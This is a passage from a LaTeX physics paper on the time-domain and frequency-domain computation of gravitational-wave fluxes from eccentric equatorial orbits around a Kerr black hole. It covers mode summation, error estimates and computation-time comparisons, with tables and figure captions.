the Weyl scalars at great distances, and fit the fields at finite distances to that behavior. One may then use the fitted behavior to extract the behavior at infinity. This is done in Appendix \ref{appendixA}. We find this method to be cleaner and better motivated physically than the fit done in \cite{pranesh}, that uses a general two--parameter fit function of a form which is not strongly motivated physically.
The estimation of the total needed computation time for FD codes starts similarly to the TD analysis: specifically, one needs to first determine the number of $m$ modes needed for the determined accuracy level. This can be done in a similar way to how it is done in the TD. The calculation of each $m$ mode in the FD approach requires the summation over a number of $k,n,\ell$ modes, that correspond to the radial and angular (about the equatorial plane) orbital angular frequencies and the radiative multipole $\ell$. Because we focus attention on equatorial plane orbits, the $n,\ell$ modes trivialize, and in practice only the $k$ modes are of importance. We find in Section \ref{k_mode} that the number of $k$ modes that one needs to sum over to achieve the desired accuracy level increases with the eccentricity and with the corresponding value of $m$ in an intricate manner.
Next, in Section \ref{comp_time} we estimate the computation time of each $k$ mode, and find it is a function of $k$. The behavior of the computation time of the $k$ mode is found to have a rather intricate dependence of the value of $k$. We use this behavior to approximate the computation time over a sum of $k$ modes up to some $k_{\rm max}$, and argue it is approximately quadratic in $k_{\rm max}$ for high $k_{\rm max}$ values. Then, in Section \ref{compare} we find the total computation time for all the FD modes on the same machine on which we perform the TD computation, and compare the two. We find that the FD code is more efficient at low $m$ values (for a twofold reason: because those require few $k$ modes, and for low $m$ values each $k$ mode takes less time to compute), but the computation time increases rapidly with the value of $m$. We find the growth rate of the computation time with the mode number $m$ to increase as a power of $m$, with the value of the exponent increasing with the eccentricity. Finally, we estimate that for generic orbits the two methods become comparable already for moderately high values of the eccentricity, in the range of $\epsilon\sim 0.6$--$0.7$. Higher eccentricity orbits are more efficiently calculated using the TD approach. Even when the calculation of the sum of all $m$ modes is done more efficiently using one method over the other, one may still compute the low $m$ modes using the FD approach and the high $m$ modes using the TD approach. Such a hybrid method may prove to be the most efficient computationally. One should also consider the fact that the total needed number of $k$ modes is an empirically found number. When the full parameter space is mapped, one may tabulate the numbers of required modes as functions of the orbital parameters. Until this is done, extra computation time is needed to find the number of needed modes, including the computation of some modes that are found {\em a posteriori} to be unneeded. No similar problem occurs in the TD approach.
\section{Summing over the $m$ modes}\label{m_modes}
To obtain the sum over all $m$ modes we need to obtain results for high $m$--numbers, and find a way to determine (i) how many $m$ modes we need to sum over to get the total flux to a certain pre-determined accuracy, and (ii) estimate the error in neglecting all the higher $m$ modes. In the case of circular and equatorial orbits, Finn \& Thorne \cite{finn_thorne_00} show that (see \cite {finn_thorne_00} for more details and for definitions)
$${\dot E}_m=\frac{2(m+1)(m+2)(2m+1)!\, m^{2m+1}}{(m-1)[2^m\, m!\, (2m+1)!!]^2}\,\eta^2{\tilde \Omega}^{2+2m/3}\,{\dot{\cal E}}_{\infty\, m}$$
which has the nice property that
${\dot E}_{m+1}/{\dot E}_m\longrightarrow {\rm const}$ as $m\to\infty$. (Notably, this property depends on the factor of ${\tilde\Omega}^{2+2m/3}$.) We may therefore approximate the sum over infinitely many modes by taking the series to be a geometric progression.
For eccentric orbits we no longer have the Finn--Thorne formula, but we can do numerical experiments to test whether the same results holds also for such orbits. We first show in Table \ref{table5} the average fluxes obtain for a number of eccentric orbits (with a fixed value of the semilatus rectum $p$) as a function of the mode $m$. The data presented is Table \ref{table5} is intentionally coarse, and is not intended to be more accurate than at the 5--10\% level. Below, we also present similar data with higher accuracy, where the latter are needed. We plot in Fig.~\ref{fig1} ${\dot E}_m$ as a function of $m$ for several eccentric orbits. We see that for all values of $\epsilon$, the drop off rate is exponential in $m$ for large values of $m$. Notably, the highest flux is in the fundamental mode, $m=2$, and is highest for $\epsilon\sim 0.5$. This result is indeed expected: The radiated power in gravitational waves averaged over one period for a point mass $\mu$ in a Keplerian orbit around a Schwarzschild black hole of mass $M$ is given by the quadrupole formula to be \cite{peters_mathews_63}
$$
\langle P\rangle=\frac{32}{5}\frac{\mu^2M^2(M+\mu)}{a^5(1-\epsilon^2)^{7/2}}\left(1+\frac{73}{24}\epsilon^2+\frac{37}{96}\epsilon^4\right)\, .
$$
Recalling that the semimajor axis $a$ is related to the semilatus rectum $p$ by $p=a(1-\epsilon^2)$, we find that for fixed $p$,
$$\langle P\rangle \sim (1-\epsilon^2)^{3/2}\left(1+\frac{73}{24}\epsilon^2+\frac{37}{96}\epsilon^4\right)\, ,
$$
which has a maximum at $\epsilon= 0.465$ \cite{finn}. As the partial flux in any other mode is suppressed by over an order of magnitude compared with the fundamental mode ($m=2$), this result for the total flux is carried over to the fundamental mode. Notably, the larger $m$, we find numerically that the larger the eccentricity for which most flux is obtained.
\begin{table}[h]
\caption{Average (over one period) fluxes per unit mass extracted at $r=100M$ for a central black hole with $a/M=0.9$, and a prograde eccentric orbit of semilatus rectum $p=4.64M$, for various values of the eccentricity $\epsilon$. For each mode $m$, we show in bold print the mode that corresponds to the eccentricity for which the highest flux is achieved. Notice that the data presented in this Table are rather coarse, and are only intended to demonstrate the overall behavior. The accuracy level of data in this Table is at the 5--10\% level. Fine details are studied below. }
\centering
\begin{tabular}{|c||c|c|c|c|c|} \hline
$|m|$ & $\epsilon=0.1$ & 0.5 & 0.7 & 0.8 & 0.9
\cr \hline \hline
1 & $1.03\times 10^{-6}$ & ${\bf 1.32\times 10^{-6}}$ & $1.19\times 10^{-6}$ & $1.07\times 10^{-6}$ & $1.05\times 10^{-6}$ \cr \hline
2 & $6.96\times 10^{-4}$ & ${\bf 8.73\times 10^{-4}}$ & $7.84\times 10^{-4}$ & $6.49\times 10^{-4}$ & $3.32\times 10^{-4}$ \cr \hline
3 & $1.50\times 10^{-4}$ & $2.57\times 10^{-4}$ & ${\bf 2.68\times 10^{-4}}$ & $2.37\times 10^{-4}$ & $1.30\times 10^{-4}$\cr \hline
4 & $4.12\times 10^{-5}$ & $9.34\times 10^{-5}$ & ${\bf 1.10\times 10^{-4}}$ & $1.03\times 10^{-4}$ & $5.86\times 10^{-5}$ \cr \hline
5 & $1.16\times 10^{-5}$ & $3.59\times 10^{-5}$ & ${\bf 4.92\times 10^{-5}}$ & $4.61\times 10^{-5}$ & $2.86\times 10^{-5}$ \cr \hline
6 & $3.58\times 10^{-6}$ & $1.50\times 10^{-5}$ & ${\bf 2.31\times 10^{-5}}$ & $2.28\times 10^{-5}$ & $1.48\times 10^{-5}$ \cr \hline
7 & $1.06\times 10^{-6}$ & $6.48\times 10^{-6}$ & $1.12\times 10^{-5}$ & ${\bf 1.16\times 10^{-5}}$ & $7.80\times 10^{-6}$ \cr \hline
8 & $3.25\times 10^{-7}$ & $2.83\times 10^{-6}$ & $5.56\times 10^{-6}$ & ${\bf 6.07\times 10^{-6}}$ & $4.28\times 10^{-6}$ \cr \hline
9 & & $1.27\times 10^{-6}$ & $2.79\times 10^{-6}$ & ${\bf 3.21\times 10^{-6}}$ & $2.37\times 10^{-6}$ \cr \hline
10 & & $5.72\times 10^{-7}$ & $1.42\times 10^{-6}$ & ${\bf 1.72\times 10^{-6}}$ & $1.33\times 10^{-6}$ \cr \hline
11 & & $2.65\times 10^{-7}$ & $7.30\times 10^{-7}$ & ${\bf 9.31\times 10^{-7}}$ & $7.53\times 10^{-7}$ \cr \hline
12 & & $1.25\times 10^{-7}$ & $3.63\times 10^{-7}$ & ${\bf 5.05\times 10^{-7}}$ & $4.19\times 10^{-7}$ \cr \hline
13 & & $5.50\times 10^{-8}$ & $1.94\times 10^{-7}$ & ${\bf 2.76\times 10^{-7}}$ & $2.39\times 10^{-7}$ \cr \hline \hline
\end{tabular}
\label{table5}
\end{table}
\begin{figure}
\input epsf
\includegraphics[width=11.0cm]{fig1_c.eps}
\caption{The flux in the $m$ mode as a function of $m$ for various values of the eccentricity $e$. The black hole's spin is
$a/M=0.9$ and the orbit's semilatus rectum is $p/M=4.64$.}
\label{fig1}
\includegraphics[width=11.0cm]{fig2_c.eps}
\caption{The ratio of the relative contribution of the $m$ mode to the partial-sum (up to $m$) flux compared with the preceding mode, as a function of $m$, for various values of the eccentricity $e$. Same parameters as in Fig.~\ref{fig1}.}
\label{fig2}
\end{figure}
We next consider the ratio of the relative contribution of the $m$ mode to the partial-sum (up to $m$) flux compared with the preceding mode, as a function of $m$. An asymptotic drop off of the flux corresponds to this ratio approaching a constant value as $m\to\infty$. In Fig.~\ref{fig2} we plot this ratio as a function of $m$ for various values of the eccentricity.
Lastly, we extrapolate the curves in Fig.~\ref{fig2} to find the asymptotic value for the ratio, and plot it in Fig.~\ref{fig3} as a function of the eccentricity $\epsilon$. The best fit curve is given by $R=0.24+0.44\,\epsilon$
with a correlation coefficient $R^2=0.980438$.
\begin{figure}
\input epsf
\includegraphics[width=11.0cm]{fig3.eps}
\caption{The asymptotic ratio $R$ as a function of the eccentricity $e$. The individual error bars are shown, in addition to the best fit curve (solid) and $3\sigma$ confidence curves (dotted).}
\label{fig3}
\end{figure}
As ${\dot E}_m$ behaves asymptotically like a geometric progression, we can approximately sum over all modes (provided sufficiently many modes are calculated, so that the sequence of partial fluxes already converges approximately to the asymptotic behavior). Specifically, calculating the sequence
${\dot E}_1,{\dot E}_2,{\dot E}_3,\cdots ,{\dot E}_{n-1},{\dot E}_n$, we can calculate the partial sums
$S_n:=\sum_{m=1}^n{\dot E}_m$, and the remainder is approximated by $R_n\sim {\dot E}_nR/(1-R)$, where $R$ is the asymptotic ratio evaluated above. One can then approximate the total flux by
${\dot E}_{\rm Total}\sim S_n+R_n$, and use $\Delta_n = R_n/{\dot E}_{\rm Total}$ as a measure for the
error. We can therefore answer questions such as ``how many modes $m$ do we need to sum over to obtain a desired accuracy level?" (assuming each mode individually has the desired accuracy level). We show this in Fig.~\ref{fig4}, that shows contour curves at a fixed accuracy level on the number of $m$-modes--eccentricity plane.
\begin{figure}
\input epsf
\includegraphics[width=11.0cm]{fig4.eps}
\caption{The number of $m$-modes necessary for the sum over $m$-modes to have a certain accuracy. We plot contour curves at a fixed level of accuracy, showing the number of $m$-modes needed as a function of the eccentricity $e$. The contours are at accuracy levels of $10^{-1},10^{-2},10^{-3},10^{-4},10^{-5}$, and $10^{-6}$.}
\label{fig4}
\end{figure}
Based on Fig.~\ref{fig4}, to determine the energy flux to 10\% accuracy requires 4 modes at all values of the eccentricity $\epsilon$. We may therefore find the approximate total waveform by summing over the 4 modes of greatest energy flux. For $a/M=0.9$, $p/M=4.64$, and $\epsilon=0.1$, we show in Figs.~\ref{fig5re} and \ref{fig5im} the waveform obtained when summing over these 4 modes, specifically $m=2,3,4,5$. Indeed, the phase information is captured well by the sum of these 4 modes, and is no longer changing significantly by addition of more modes.
\begin{figure}
\input epsf
\includegraphics[width=11.0cm]{fig5_c.eps}
\caption{The real part of the waveform on the equatorial plane at $r/M=625$ for $a/M=0.9$, $p/M=4.64$, and $\epsilon=0.1$ for $\psi_{m=2}$ (dotted), $\psi_2+\psi_3$ (dash-dotted), $\psi_2+\psi_3+\psi_4$ (dashed) and $\psi_2+\psi_3+\psi_4+\psi_5$ (solid), as a function of $t/M$. }
\label{fig5re}
\includegraphics[width=11.0cm]{fig6_c.eps}
\caption{The imaginary part of the waveform on the equatorial plane at $r/M=625$ for $a/M=0.9$, $p/M=4.64$, and $\epsilon=0.1$ for $\psi_{m=2}$ (dotted), $\psi_2+\psi_3$ (dash-dotted), $\psi_2+\psi_3+\psi_4$ (dashed) and $\psi_2+\psi_3+\psi_4+\psi_5$ (solid), as a function of $t/M$. }
\label{fig5im}
\end{figure}
\begin{figure}
\input epsf
\includegraphics[width=11.0cm]{fig7_c.eps}
\caption{The phase of the waveform on the equatorial plane for the same parameters as in Fig.~\ref{fig5re}. Shown are the phases corresponding to $\psi_{m=2}$ ($\times$), $\psi_2+\psi_3$ ($\square$), $\psi_2+\psi_3+\psi_4$ ($*$) and $\psi_2+\psi_3+\psi_4+\psi_5$ ($\circ$), as a function of $t/M$.
}
\label{fig5a}
\end{figure}
\section{Summation over multipoles $\ell$ and $k$ modes}\label{k_mode}
The behavior of the $m$-modes ---that corresponds to the angular frequency $\Omega_{\phi}$--- is common to both time-domain and frequency-domain approaches. In the TD case, however, the study of the behavior of the $m$-modes summarizes all the modes that need to be considered to get the full waveform and the total fluxes radiated. In the FD case, however, one needs to consider also the modes that arise from the three different frequencies of the problem: the $k$-modes, corresponding to the radial angular frequency $\Omega_r$, and the $n$-modes, corresponding to the inclination angle oscillations with angular frequency $\Omega_{\theta}$. (We note that various authors exchange the notation of the latter two frequencies, $k \leftrightarrow n$.) Here, we concentrate on the equatorial plane, and defer discussion on motion outside the equatorial plane to a sequel.
The FD code that we use is based on the code presented in \cite{glampedakis02}, where more details on the code can be found in addition to descriptions of the tests done to check the code and the sources for errors. The FD numerical method is based on that of \cite{num1} and solves the Sasaki--Nakamura equation \cite{s-n} using Burlisch--Stoer integration. The accuracy level of the code is at the level of $10^{-6}$--$10^{-4}$.\footnote{Recently, possible inaccuracies for very large $k$ values were noticed. These inaccuracies occur for larger values of $k$ than those used here, and therefore do not affect our results.}
First indication to the increase in the number of necessary $k$-modes with increasing eccentricity was shown in \cite{khanna04}. It should be noticed, however, that the results presented in \cite{khanna04} for $\epsilon=0.8$ may be more indication of the failure of the solution of the radial Teukolsky equation in the frequency domain and the need for the Sasaki--Nakamura formulation thereof, than a true behavior of the $k$-modes. Figure \ref{fig6} shows the flux in each $k$ mode for $m=2$, after all $\ell$-modes were summed over, for $a/M=0.9$ and $p/M=4.64$ for different values of the eccentricity. Similar figures were obtained also for other values of $m$. Figures \ref{fig6} and \ref{fig6a} suggest the following types of behavior: first, the value of $k$ for which the flux is maximal shifts to higher values with the increase in eccentricity of the orbit. Second, with increasing eccentricity, the flux curve broadens (mostly for positive values of $k$, so that the curve becomes less and less symmetric in $k$ for high $\epsilon$). We also find (Fig.~\ref{fig6b}) that the peak of the flux curves become $m$-modal, i.e., at high values of $\epsilon$ the flux curve breaks into a number of peaks equal to the mode $m$. Similar behavior was reported first in \cite{glampedakis02}.
The peaks background exhibits interesting oscillations, that appear to be independent (or, at the most, weakly dependent) of $m,\epsilon$. The broadening of the flux curves suggests that more $k$-modes are required in order to obtained the total flux. In what follows we quantify this statement and make it precise.
\begin{figure}
\input epsf
\includegraphics[width=11.0cm]{fig8.eps}
\caption{The flux in different $k$-modes, after summation over all $\ell$, for $m=2$, for $a/M=0.9$ and $p/M=4.64$: $\epsilon=0.1$ (dotted), $\epsilon=0.2$ (dash-dotted), $\epsilon=0.3$ (thin dashed), $\epsilon=0.4$ (thin solid), $\epsilon=0.5$ (thick dashed), and $\epsilon=0.6$ (thick solid). For each value of the eccentricity, the flux is normalized to the flux at the value of $k$ for which the flux is maximal.}
\label{fig6}
\includegraphics[width=11.0cm]{fig9.eps}
\caption{Same as Fig.~\ref{fig6} for $m=3$.}
\label{fig6a}
\end{figure}
\begin{figure}
\input epsf
\includegraphics[width=11.0cm]{fig10.eps}
\caption{Same as Fig.~\ref{fig6}, for $m=2$ (dotted), $m=3$ (dashed), and $m=4$ (solid), for $\epsilon=0.6$. Notice that the first two curves repeat data already presented in Figs.~\ref{fig6} and \ref{fig6a}.}
\label{fig6b}
\end{figure}
The number of $k$-modes required at a fixed value of the eccentricity $\epsilon$ to obtain the total flux to a desired accuracy increases logarithmically with the accuracy. This behavior is described in Fig.~\ref{fig7} that plots the error involved in the inclusion of the $N_k$ modes (of the greatest partial fluxes) as a function of $N_k$ for various values of the eccentricity $\epsilon$. In all cases this behavior is exponential. Notice, however, that the slope of the fitted curve becomes steeper with increasing eccentricity. This behavior suggests that as the eccentricity increases, the rate at which the number of $k$-modes that are required in order to obtain the same level of accuracy increases. This rate also increases with the mode number $m$ (Fig.~\ref{fig8}). Notice, from Fig.~\ref{fig6b}, that also the number of {\em negative} $k$-modes increases with the mode number $m$ (for fixed eccentricity), although not as fast as the number of positive $k$-modes. In Fig.~\ref{fig9} we show the number $N_k$ of $k$-modes required for a given accuracy as a function of the eccentricity $\epsilon$, for different values of the mode number $m$. The increase in $N_k$ is exponential in the eccentricity $\epsilon$. For a given accuracy level, the exponential increase with $\epsilon$ becomes steeper as the mode number $m$ increases, as is shown in Fig.~\ref{fig10}.
\begin{figure}
\input epsf
\includegraphics[width=11.0cm]{fig11.eps}
\caption{The error $\Delta$ in summing over a number $N_k$ of $k$-modes, after summation over all $\ell$, for $m=2$, for $a/M=0.9$ and $p/M=4.64$: $\epsilon=0.1$ ($\circ$) , $\epsilon=0.2$ ($\ast$), $\epsilon=0.3$ ($\times$), $\epsilon=0.4$ ($\square$), $\epsilon=0.5$ ($\diamond$), and $\epsilon=0.6$ ($\triangle$). For each value of the eccentricity, the solid line describes a fitted line as follows, corresponding to increasing eccentricity:
$\log_{10}\Delta=1.2796-1.1630\,N_k$ ($R^2=0.9810$),
$\log_{10}\Delta=2.2131-0.9567\,N_k$ ($R^2=0.9691$),
$\log_{10}\Delta=2.5781-0.7740\,N_k$ ($R^2=0.9774$),
$\log_{10}\Delta=3.0085-0.6445\,N_k$ ($R^2=0.9962$),
$\log_{10}\Delta=3.2273-0.5197\,N_k$ ($R^2=0.9987$),
$\log_{10}\Delta=3.8898-0.4267\,N_k$ ($R^2=0.9383$). For each fitted curve we include the square of the correlation coefficient $R^2$}
\label{fig7}
\end{figure}
\begin{figure}
\input epsf
\includegraphics[width=11.0cm]{fig12.eps}
\caption{The error $\Delta$ in summing over a number $N_k$ of $k$-modes, after summation over all $\ell$, for $a/M=0.9$, $p/M=4.64$, and $\epsilon=0.3$: $m=2$ ($\circ$), $m=3$ ($\square$), and $m=4$ ($\ast$). For each value of the eccentricity, the solid line describes a fitted line as follows, corresponding to increasing value of $m$:
$\log_{10}\Delta=2.5781-0.7740\,N_k$ ($R^2=0.9774$),
$\log_{10}\Delta=2.7038-0.6366\,N_k$ ($R^2=0.9950$),
$\log_{10}\Delta=3.9493-0.6126\,N_k$ ($R^2=0.9893$).
For each fitted curve we include the square of the correlation coefficient $R^2$}
\label{fig8}
\end{figure}
\begin{figure}
\input epsf
\includegraphics[width=11.0cm]{fig13.eps}
\caption{The number $N_k$ of $k$-modes required for a given accuracy as a function of the
eccentricity $\epsilon$. Shown are 6 levels of accuracy, and their corresponding contours:
$10^{-1}$ ($\circ$), $10^{-2}$ ($\ast$), $10^{-3}$ ($\times$), $10^{-4}$ ($\square$), $10^{-5}$
($\diamond$), and $10^{-6}$ ($\triangle$), for three values of the mode number $m=2,3,4$.
Upper panel ($m=2$): the solid lines describe a fitted line as follows, corresponding the increasing accuracy:
$\log_{10}N_k=0.2253+1.3355\,\epsilon$ ($R^2=0.9642$),
$\log_{10}N_k=0.3632+1.2783\,\epsilon$ ($R^2=0.9872$),
$\log_{10}N_k=0.4671+1.2442\,\epsilon$ ($R^2=0.9945$),
$\log_{10}N_k=0.5506+1.2215\,\epsilon$ ($R^2=0.9959$),
$\log_{10}N_k=0.6206+1.2053\,\epsilon$ ($R^2=0.9948$),
$\log_{10}N_k=0.6808+1.1930\,\epsilon$ ($R^2=0.9928$).
Middle panel ($m=3$): the solid lines describe a fitted line as follows, corresponding the increasing accuracy:
$\log_{10}N_k=0.3040+1.1118\,\epsilon$ ($R^2=0.8860$),
$\log_{10}N_k=0.4321+1.2321\,\epsilon$ ($R^2=0.9727$),
$\log_{10}N_k=0.5329+1.2886\,\epsilon$ ($R^2=0.9900$),
$\log_{10}N_k=0.6151+1.3216\,\epsilon$ ($R^2=0.9934$),
$\log_{10}N_k=0.6844+1.3433\,\epsilon$ ($R^2=0.9932$),
$\log_{10}N_k=0.7442+1.1588\,\epsilon$ ($R^2=0.9919$).
Lower panel ($m=4$): the solid lines describe a fitted line as follows, corresponding the increasing accuracy:
$\log_{10}N_k=0.4636+0.8385\,\epsilon$ ($R^2=0.7739$),
$\log_{10}N_k=0.5159+1.2410\,\epsilon$ ($R^2=0.9747$),
$\log_{10}N_k=0.5841+1.4111\,\epsilon$ ($R^2=0.9894$),
$\log_{10}N_k=0.6478+1.5066\,\epsilon$ ($R^2=0.9884$),
$\log_{10}N_k=0.7050+1.5681\,\epsilon$ ($R^2=0.9853$),
$\log_{10}N_k=0.7564+1.6111\,\epsilon$ ($R^2=0.9821$).
}
\label{fig9}
\includegraphics[width=11.0cm]{fig14.eps}
\caption{The number $N_k$ of $k$-modes required for an accuracy of $10^{-4}$ as a function of the
eccentricity $\epsilon$. Shown are 3 values of $m$, and their corresponding contours, based on a fit to an exponential:
$m=2$ ($\circ$), $m=3$ ($\ast$), and $m=4$ ($\times$).
}
\label{fig10}
\end{figure}
\section{Modes computation time}\label{comp_time}
The computation time of a single $k$ mode is a function of $k$. To make a prediction of the $k$ dependence of the computation time for a $k$ mode we first write the radial Teukolsky equation
\begin{equation}\label{radial_teukolsky}
\Delta^2\,\frac{\,d}{\,dr}\,\left(\Delta^{-1}\,\frac{\,dR_{\ell m \omega}}{\,dr}\right)-V(r)\,R_{\ell m \omega}(r)=-{\cal T}_{\ell m \omega}(r)
\end{equation}
where the potential $V(r)$ is a complex valued function of $r$ and the angular frequency $\omega$ \cite{hughes-2000}. The source term ${\cal T}_{\ell m \omega}(r)$ is a certain known function of the stress energy of the particle and its trajectory, and of the background geometry. As we are interested here only in the qualitative features of the solutions for Eq.~(\ref{radial_teukolsky}), the details of the source are unimportant for us here. We next focus attention on the far field limit of Eq.~(\ref{radial_teukolsky}). To gain a qualitative understanding of the structure of the solution, we next consider only the asymptotic solution as $r\to\infty$. In that limit, $R(r\to\infty)\sim r^3\,e^{i\omega r_*}$ (corresponding to an outgoing solution), where $r_*$ is the usual Kerr spacetime tortoise coordinate defined by $\,dr_*/\,dr=(r^2+a^2)/\Delta$. The solution is an oscillatory solution in $r$ with angular frequency $\omega$. The typical length scale over which the solution is oscillating is therefore $\lambda\sim 2\pi/\omega$: the greater $\omega$, the shorter the distance over which the solution oscillates.
The method we use to solve the frequency-domain equation is by a Burlisch--Stoer algorithm \cite{num_rec}, that successively divides a single step into many substeps, until a (polynomial or rational) interpolation is accurate enough. If the original step happens to be too large (i.e., after a certain pre-determined substep is calculated and the required accuracy is still not obtained), the original step will be bisected, and the process proceeds. Therefore, the greater $\omega$ and the shorter the oscillation length scale, the more divisions of the initial step are required, and the greater the number of substeps used to find the solution.
As the angular frequency $\omega_{mk}=m\Omega_{\varphi}+k\Omega_r$, it is clear that the larger $k$ (for a fixed value of $m$), the shorter the distance scale $\lambda$. We therefore expect the computation time of a single $k$ mode to increase with $k$. In fact, the Burlisch--Stoer algorithm suggests that as $\omega_{mk}$ increases, the more substeps are needed, until for some value of $k$ dividing the step into substeps is no longer sufficient, and the step is bisected. Then, division into substeps is again sufficient, until another $k$ value is obtained for which the step is bisected. Each time the step is bisected, the total number of substeps computed jumps discontinuously, so that we expect the $k$ mode computation time to increase as a staircase function. In Fig.~\ref{fig11} we show the computation time of an individual $k$ mode as a function of $k$, and also the number of Burlisch--Stoer iterations done. They both behave as expected. The preceding discussion suggests that a similar behavior of the computation time is found also as a function of $m$. This is indeed seen in Fig.~\ref{fig12}.
\begin{figure}
\input epsf
\includegraphics[width=11.0cm]{fig15_c.eps}
\caption{The dependence of the computation time of a $k$ mode on $k$: the computation time $t$ (normalized by the maximal computation time is shown in $\times$, and the corresponding normalized number of iterations $n_i$ that the Burlisch--Stoer engine does is shown in $\circ$. The data are taken for $m=0$, and for $p/M=4.64$ and $\epsilon=0.4$.
}
\label{fig11}
\includegraphics[width=11.0cm]{fig16_c.eps}
\caption{Same as Fig.~\ref{fig11} for the $m$ modes. Here, $k=0$ and $\ell=20$.
}
\label{fig12}
\end{figure}
As can be seen from Figs.~\ref{fig11} and \ref{fig12} the discontinuous jumps in the mode computation times occur at different values of $m,k$. Indeed, our discussion about explains this behavior: jumps occur when the angular frequencies $\omega_{mk}$ arrive at some threshold values, corresponding to threshold wavelengths. As these threshold values should be about the same, we expect jumps to occur for $m_j,k_j$ satisfying $k_j\Omega_r\sim m_j\Omega_{\varphi}$. Notice that $k_j$ ($m_j$) is defined here for vanishing $m$ ($k$).
For the data presented here, for $\epsilon=0.4$ we find $k_j/m_j\approx 1.33$, while $\Omega_{\varphi}/\Omega_r\approx 1.52$; for $\epsilon=0.5$ we find $k_j/m_j\approx 1.40$, while $\Omega_{\varphi}/\Omega_r\approx 1.47$; and for $\epsilon=0.6$ we find $k_j/m_j\approx 1.44$, while $\Omega_{\varphi}/\Omega_r\approx 1.39$, so that the difference between $k_j/m_j$ and $\Omega_{\varphi}/\Omega_r$ is at order 10\%. We argue that these results support our interpretation of the discontinuous jumps in the computation time.
Our discussion suggests that for a fixed value of $k$ ($m$) and varying $m$ ($k$), there are values of the latter for which the computational time drops. These are the values that approximately satisfy $\omega_{mk}\lesssim \Omega_{\varphi}\; ,\; \Omega_{r}$. (Recall that $k,m$ can be either positive or negative.) That is, while fixing either $k$ or $m$ and varying the other,
we expect to find a drop in the computation time (or, equivalently, in the number of Burlisch--Stoer iterations.) Indeed, we find this behavior, as is shown in Fig.~\ref{fig13}. Notice, that for $k=0$ the drop in computational time is found for $m=0$, and as $k$ increases, so does the value of $m$ for which the drop is found. We also comment that this drop is broadened with increasing values of $k$.
\begin{figure}
\input epsf
\includegraphics[width=11.0cm]{fig17.eps}
\caption{Number of iterations of the Burlisch--Stoer solver as a function of $m$ for fixed values of $k$, for the same orbital parameters as above, for $\epsilon=0.1$.
}
\label{fig13}
\end{figure}
The dependence of the computational time on the mode number $k$ is therefore rather intricate. It can be approximated as follows: For each value of the eccentricity $\epsilon$ we take in practice the computational time of a single mode $k$ to be a linear function of $k$, that fits the computational data. This approximation underestimates the computation time for some $k$ modes, specifically those immediately following a discontinuous jump in the computation time, and overestimates the computation time for $k$ modes just before a jump. However, as we are mostly interested in the total computation time of the sum over all modes, this approximation may be quite reasonable for the sum over all modes. In this approximation the sum over $k$ modes up to some $k_{\rm max}$ is a quadratic function of $k_{\rm max}$. Notice, that we can use Fig.~\ref{fig7} and \ref{fig8} to find how many $k$ modes we need to sum over to obtain the required accuracy level.
\begin{figure}
\input epsf
\includegraphics[width=11.0cm]{fig18_c.eps}
\caption{The total computation time of the sum over $k$ modes from $k=0$ to $k=k_{\rm max}$ as a function of the eccentricity $\epsilon$. The computation time is presented in units of the maximal computation time in the chosen range of parameters.
}
\label{fig14}
\end{figure}
\section{Comparison of total computation time of TD and FD calculations}\label{compare}
Finally, we put together all the previous results, to compare the actual total calculation time of TD and FD codes. We choose an orbit that gives no special preference for one approach over the other, i.e., a moderate value for the eccentricity. In practice, we take $\epsilon=0.5$ and $p=4.64M$.
For the FD calculation we first set the desired level of accuracy, which in practice we choose here to be $10^{-3}$, and then use Fig.~\ref{fig4} (or the data in Table \ref{table5}) to determine the number of $m$ modes one needs to sum over to guarantee the desired accuracy level. The needed number of $m$ modes is found in practice to be 7, for $m=2,3,\cdots, 9$.
For each individual $m$ mode we then determine the number of $k$ modes necessary to obtain the desired accuracy level. This determination is done with data as in Figs.~\ref{fig9} and \ref{fig10}. The values of the $k$ modes we used in practice are as follows: for $m=2$ we used $-2\leqslant k\leqslant 10$, for $m=3$ we used $-3\leqslant k\leqslant 13$, for $m=4$ we used $-3\leqslant k\leqslant 16$, for $m=5$ we used $-2\leqslant k\leqslant 21$, for $m=6$ we used $-1\leqslant k\leqslant 23$, for $m=7$ we used $-2\leqslant k\leqslant 25$, for $m=8$ we used $-1\leqslant k\leqslant 28$, and for $m=9$ we used $-1\leqslant k\leqslant 33$. In all cases we computed $2\leqslant \ell\leqslant 5$. The data are summarized in Table \ref{table6} and in Fig.~\ref{fig15}. The FD calculations were optimized for most efficient calculation for the desired accuracy level. Improvements to the computation time can be achieved, but only at the level of the code, e.g., making the Burlisch--Stoer algorithm more efficient. We believe that while such improvements can be made, their effect would be moderate. In this sense, the FD curve in Fig.~\ref{fig15} represents a lower bound on the FD calculation time. Increasing the eccentricity of the orbit $\epsilon$ would result in the FD curve of Fig.~\ref{fig15} moving up in the figure (increase in the calculation time of each $m$ mode, because of increasing number of required number of $k$ modes and increase in the computation time of individual $k$ modes) and also having a faster growth rate.
\begin{table}[h]
\caption{Number of $k$ modes for each $m$ modes in the FD calculation, and the corresponding computation time in both the FD and TD calculations. The orbital parameters are $\epsilon=0.5$ and $p/M=4.64$ and $a/M=0.9$.}
\centering
\begin{tabular}{|c||c|c|c||c|} \hline
{\bf m mode} & Range of $k$ modes & Total $k$ modes &FD time (sec) & TD time (sec)
\cr \hline \hline
2 & $-2\leqslant k\leqslant 10$ & 13 & 51 & 954 \cr \hline
3 & $-3\leqslant k\leqslant 13$ & 17& 99 & 945 \cr \hline
4 & $-3\leqslant k\leqslant 16$ & 20 & 116 & 952 \cr \hline
5 & $-2\leqslant k\leqslant 21$ & 24 & 179 & 942 \cr \hline
6 & $-1\leqslant k\leqslant 23$ & 25 & 218 & 953 \cr \hline
7 & $-2\leqslant k\leqslant 25$ & 28 & 254 & 953 \cr \hline
8 & $-1\leqslant k\leqslant 28$ & 30 & 303 & 952 \cr \hline
9 & $-1\leqslant k\leqslant 33$ & 35 & 391 & 942 \cr \hline \hline
\end{tabular}
\label{table6}
\end{table}
